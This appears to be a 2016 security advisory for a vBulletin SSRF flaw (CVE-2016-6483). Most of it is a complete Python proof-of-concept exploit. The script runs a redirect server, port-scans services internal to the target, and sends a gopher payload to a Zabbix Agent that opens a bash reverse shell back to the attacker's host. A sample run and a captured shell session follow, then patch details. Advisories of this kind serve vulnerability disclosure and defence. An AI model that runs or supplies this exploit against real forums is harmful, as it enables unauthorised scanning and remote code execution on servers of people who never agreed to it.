1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 |
''' ============================================= - Discovered by: Dawid Golunski - http://legalhackers.com - dawid (at) legalhackers.com - CVE-2016-6483 - Release date: 05.08.2016 - Severity: High ============================================= I. VULNERABILITY ------------------------- vBulletin<= 5.2.2Preauth Server Side Request Forgery (SSRF) vBulletin<= 4.2.3 vBulletin<= 3.8.9 II. BACKGROUND ------------------------- vBulletin (vB) is a proprietary Internet forum software package developed by vBulletin Solutions, Inc., a division of Internet Brands. https://www.vbulletin.com/ https://en.wikipedia.org/wiki/VBulletin A google search for "Powered by vBulletin" returns over 19 million sites that are hosting a vBulletin forum: https://www.google.co.uk/?gws_rd=ssl#q=%22Powered+by+vBulletin%22 III. INTRODUCTION ------------------------- vBulletin forum software is affected by a SSRF vulnerability that allows unauthenticated remote attackers to access internal services (such as mail servers, memcached, couchDB, zabbix etc.) running on the server hosting vBulletin as well as services on other servers on the local network that are accessible from the target. This advisory provides a PoC exploit that demonstrates how an unauthenticated attacker could perform a port scan of the internal services as well as execute arbitrary system commands on a target vBulletin host with a locally installed Zabbix Agent monitoring service. IV. DESCRIPTION ------------------------- vBulletin allows forum users to share media fiels by uploading them to the remote server. Some pages allow users to specify a URL to a media file that a user wants to share which will then be retrieved by vBulletin. The user-provided links are validated to make sure that users can only access resources from HTTP/HTTPS protocols and that connections are not allowed in to the localhost. These restrictions can be found in core/vb/vurl/curl.php source file: /** *Determine if the url is safe to load * *@param $urlinfo -- The parsed url info from vB_String::parseUrl -- scheme, port, host *@return boolean */ private function validateUrl($urlinfo) { // VBV-11823, only allow http/https schemes if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https'))) { return false; } // VBV-11823, do not allow localhost and 127.0.0.0/8 range by default if (!isset($urlinfo['host']) OR preg_match('#localhost|127\.(\d)+\.(\d)+\.(\d)+#i', $urlinfo['host'])) { return false; } if (empty($urlinfo['port'])) { if ($urlinfo['scheme'] == 'https') { $urlinfo['port'] = 443; } else { $urlinfo['port'] = 80; } } // VBV-11823, restrict detination ports to 80 and 443 by default // allow the admin to override the allowed ports in config.php (in case they have a proxy server they need to go to). $config = vB::getConfig(); [...] HTTP redirects are also prohibited however there is one place in the vBulletin codebase that accepts redirects from the target server specified in a user-provided link. The code is used to upload media files within a logged-in user's profile and can normally be accessed under a path similar to: http://forum/vBulletin522/member/1-mike/media By specifying a link to a malicious server that returns a 301 HTTP redirect to the URL of http://localhost:3306 for example, an attacker could easily bypass the restrictions presented above and make a connection to mysql/3306 service listening on the localhost. This introduces a Server Side Request Forgery (SSRF) vulnerability. As curl is used to fetch remote resources, in addition to HTTP, attackers could specify a handful of other protocols to interact with local services. For instance, by sending a redirect togopher://localhost:11211/datahere attackers could send arbitrary traffic to memcached service on 11211 port. Additionally, depending on the temporary directory location configured within the forum, attackers could potentially view the service responses as the download function stores responses within temporary files which could be viewed if the temporary directory is exposed on the web server. V. PROOF OF CONCEPT EXPLOIT ------------------------- The exploit code below performs a port scan as well as demonstrates remote command execution via a popular Zabbix Agent monitoring service which might be listening on local port of 10050. The exploit will execute a reverse bash shell on the target if it has the agent installed and permits remote commands. The exploit was verified on the following zabbix agent configuration (/etc/zabbix/zabbix_agentd.conf): Server=127.0.0.1,::1 EnableRemoteCommands=1 ------------[ vBulletin_SSRF_exploit.py ]----------- ''' #!/usr/bin/python intro = """ vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE) This PoC exploits an SSRF vulnerability in vBulletin to scan internal services installed on the web server that is hosting the vBulletin forum. After the scan, the exploit also checks for a Zabbix Agent (10050) port and gives an option to execute a reverse shell (Remote Commands) that will connect back to the attacker's host on port 8080 by default. Coded by: Dawid Golunski http://legalhackers.com """ usage = """ Usage: The exploit requires that you have an external IP and can start a listener on port 80/443 on the attacking machine. ./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port] Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85 on the remote vBulletin target host: ./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85 Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell e.g: nc -vv -l -p 8080 Disclaimer: For testing purposes only. Do no harm. SSL/TLS support needs some tuning. For better results, provide HTTP URL to the vBulletin target. """ import web # http://webpy.org/installation import threading import time import urllib import urllib2 import socket import ssl import sys # The listener that will send redirects to the targe class RedirectServer(threading.Thread): def run (self): urls = ('/([0-9a-z_]+)', 'do_local_redir') app = web.application(urls, globals()) #app.run() return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', our_port)) class do_local_redir: def GET(self,whereto): if whereto == "zabbixcmd_redir": # code exec # redirect to gopher://localhost:10050/1system.run[(/bin/bash -c 'nohup bash -i >/dev/tcp/our_ip/shell_port 0<&1 2>&1 &'); sleep 2s] return web.HTTPError('301', {'Location': 'gopher://localhost:10050/1system.run%5b(%2Fbin%2Fbash%20-c%20%27nohup%20bash%20-i%20%3E%2Fdev%2Ftcp%2F'+our_ext_ip+'%2F'+str(shell_port)+'%200%3C%261%202%3E%261%20%26%27) %20%3B%20sleep%202s%5d' } ) else: # internal port connection return web.HTTPError('301', {'Location': "telnet://localhost:%s/" % whereto} ) def shutdown(code): print "\nJob done. Exiting" if redirector_started == 1: web.httpserver.server.interrupt = KeyboardInterrupt() exit(code) # [ Default settings ] # reverse shell will connect back to port defined below shell_port = 8080 # Our HTTP redirector/server port (must be 80 or 443 for vBulletin to accept it) our_port = 443 # How long to wait (seconds) before considering a port to be opened. # Don't set it too high to avoid service timeout and an incorrect close state connect_time = 2 # Default port scan range is limited to 20-90 to speed up things when testing, # feel free to increase maxport to 65535 here or on the command line if you've # got the time ;) minport = 20 maxport = 90 # ignore invalid certs (enable if target forum is HTTPS) #ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) # [ Main Meat ] print intro redirector_started = 0 if len(sys.argv) < 3 : print usage sys.exit(2) # Set our HTTP Listener/Redirector's external IP our_ext_ip = sys.argv[1] try: socket.inet_aton(our_ext_ip) except socket.error: print "Invalid HTTP redirector server IP [%s]!\n" % our_ext_ip exit(2) our_server = "http://%s:%s" % (our_ext_ip, our_port) # Target forum base URL (e.g. http://vulnerable-vbulletin/forum) targetforum = sys.argv[2] # Append vulnerable media upload script path to the base URL targeturl =targetforum.strip('/') + "/link/getlinkdata" # Change port range (if provided) if (len(sys.argv) == 5) : minport = int(sys.argv[3]) # Finish scanning at maxport maxport = int(sys.argv[4]) # Confirm data print "\n* Confirm your settings\n" print "Redirect server to listen on: %s:%s\nTarget vBulletin URL: %s\nScan ports between: %d - %d\n" % (our_ext_ip, our_port, targeturl, minport, maxport) key = raw_input("Are these settings correct? Hit enter to start the port scan... ") # Connection check print "\n* Testing connection to vulnerable script at [%s]\n" % targeturl req = urllib2.Request(targeturl, data=' ', headers={ 'User-Agent': 'Mozilla/5.0' } ) try: response = urllib2.urlopen(req, timeout=connect_time).read() except urllib2.URLError as e: print "Invalid forum URI / HTTP request failed (reason: %s)\n" % e.reason shutdown(2) # Server should return 'invalid_url' string if not url provided in POST if "invalid_url" not in response: print """Invalid target url (%s) or restricted access.\n \nTest with:\n curl -X POST -v %s\nShutting down\n""" % (targeturl, targeturl) sys.exit(2) else: print "Got the right response from the URL. The target looks vulnerable!\n" # [ Start the listener and perform a port scan ] print "Let's begin!\n" print "* Starting our redirect base server on %s:%s \n" % (our_ext_ip, our_port) RedirectServer().start() redirector_started = 1 print "* Scanning local ports from %d to %d on [%s] target \n" % (minport, maxport, targetforum) start = time.time() opened_ports = [] maxport+=1 for targetport in range(minport, maxport): #print "\n\nScanning port %d\n" % (targetport) fetchurl ='%s/%d' % (our_server, targetport) data = urllib.urlencode({'url' : fetchurl}) req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) try: response = urllib2.urlopen(req,timeout=connect_time) except urllib2.URLError, e: print "Oops, url issue? 403 , 404 etc.\n" except socket.timeout, ssl.SSLError: print "Conection opened for %d seconds. Port %d is opened!\n" % (connect_time, targetport) opened_ports.append(targetport) elapsed = (time.time() - start) print "\nScanning done in %d seconds. \n\n* Opened ports on the target [%s]: \n" % (elapsed, targetforum) for listening in opened_ports: print "Port %d : Opened\n" % listening print "\nAnything juicy? :)\n" if 10050 in opened_ports: print "* Zabbix Agent was found on port 10050 !\n" # [ Command execution via Zabbix Agent to gain a reverse shell ] key = raw_input("Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] ") if key != 'y' : shutdown(0) print "\n* Executing reverse shell via Zabbix Agent (10050)." fetchurl ='%s/%s' % (our_server, 'zabbixcmd_redir') data = urllib.urlencode({'url' : fetchurl}) req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) payload_executed = 0 try: response = urllib2.urlopen(req,timeout=connect_time) except urllib2.URLError, e: print "Oops, url issue? 403 , 404 etc.\n" except socket.timeout, ssl.SSLError: # Agent connection remained opened for 2 seconds after the bash payload was sent, # it looks like the sleep 2s shell command must have got executed sucessfuly payload_executed = 1 if (payload_executed == 1) : print "\nLooks like Zabbix Agent executed our bash payload! Check your netcat listening on port %d for shell! :)\n" % shell_port else: print "\nNo luck. No Zabbix Agent listening on 10050 port or remote commands are disabled :(\n" shutdown(0) ''' ----------------------[ eof ]------------------------ Example run: root@trusty:~/vbexploit# ./vBulletin_SSRF_exploit.py 192.168.57.10 http://192.168.57.10/vBulletin522new/ 20 85 vBulletin <= 5.2.2 SSRF PoC Exploit (Localhost Portscan / Zabbix Agent RCE) This PoC exploits an SSRF vulnerability in vBulletin to scan internal services installed on the web server that is hosting the vBulletin forum. After the scan, the exploit also checks for a Zabbix Agent (10050) port and gives an option to execute a reverse shell (Remote Commands) that will connect back to the attacker's host on port 8080 by default. Coded by: Dawid Golunski http://legalhackers.com * Confirm your settings Redirect server to listen on: 192.168.57.10:443 Target vBulletin URL: http://192.168.57.10/vBulletin522new/link/getlinkdata Scan ports between: 20 - 85 Are these settings correct? Hit enter to start the port scan... * Testing connection to vulnerable script at [http://192.168.57.10/vBulletin522new/link/getlinkdata] Got the right response from the URL. The target looks vulnerable! Let's begin! * Starting our redirect base server on 192.168.57.10:443 * Scanning local ports from 20 to 85 on [http://192.168.57.10/vBulletin522new/] target http://0.0.0.0:443/ 192.168.57.10:58675 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /20" - 301 192.168.57.10:58679 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /21" - 301 192.168.57.10:58683 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /22" - 301 Conection opened for 2 seconds. Port 22 is opened! 192.168.57.10:58686 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /23" - 301 192.168.57.10:58690 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /24" - 301 192.168.57.10:58694 - - [30/Jul/2016 03:00:28] "HTTP/1.1 GET /25" - 301 Conection opened for 2 seconds. Port 25 is opened! 192.168.57.10:58697 - - [30/Jul/2016 03:00:30] "HTTP/1.1 GET /26" - 301 [...] 192.168.57.10:58909 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /79" - 301 192.168.57.10:58913 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /80" - 301 Conection opened for 2 seconds. Port 80 is opened! 192.168.57.10:58917 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /81" - 301 192.168.57.10:58921 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /82" - 301 192.168.57.10:58925 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /83" - 301 192.168.57.10:58929 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /84" - 301 192.168.57.10:58933 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /85" - 301 Scanning done in 14 seconds. * Opened ports on the target [http://192.168.57.10/vBulletin522new/]: Port 22 : Opened Port 25 : Opened Port 80 : Opened Anything juicy? :) Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] y * Executing reverse shell via Zabbix Agent (10050). 192.168.57.10:58940 - - [30/Jul/2016 03:00:45] "HTTP/1.1 GET /zabbixcmd_redir" - 301 Looks like Zabbix Agent executed our bash payload! Check your netcat listening on port 8080 for shell! :) Job done. Exiting Here is how the netcat session looks like after a sucessful exploitation: $ nc -vvv -l -p 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [192.168.57.10] port 8080 [tcp/*] accepted (family 2, sport 54259) zabbix@trusty:/$ id id uid=122(zabbix) gid=129(zabbix) groups=129(zabbix) zabbix@trusty:/$ As we can see reverse shell was executed on the target which sucessfully connected back to the attacker's netcat listener. VI. BUSINESS IMPACT ------------------------- The vulnerability can expose internal services running on the server/within the local network. If not patched, unauthenticated attackers or automated scanners searching for vulnerable servers could send malicious data to internal services. Depending on services in use, the impact could range from sensitive information disclosure, sending spam, DoS/data loss to code execution as demonstrated by the PoC exploit in this advisory. VII. SYSTEMS AFFECTED ------------------------- All vBulletin forums in all branches (5.x, 4.x , 3.x) without the latest patches named in the next section are affected by this vulnerability. VIII. SOLUTION ------------------------- Upon this advisory, vendor has published the following security releases of vBulletin for each of the affected branches: vBulletin 5.2.3 vBulletin 4.2.4 Beta vBulletin 3.8.10 Beta Separate patches have also been released (see references below). IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6483 vBulletin patches: http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349551-security-patch-vbulletin-5-2-0-5-2-1-5-2-2 http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349549-security-patch-vbulletin-4-2-2-4-2-3-4-2-4-beta http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349548-security-patch-vbulletin-3-8-7-3-8-8-3-8-9-3-8-10-beta X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 05.08.2016 - final advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. ''' |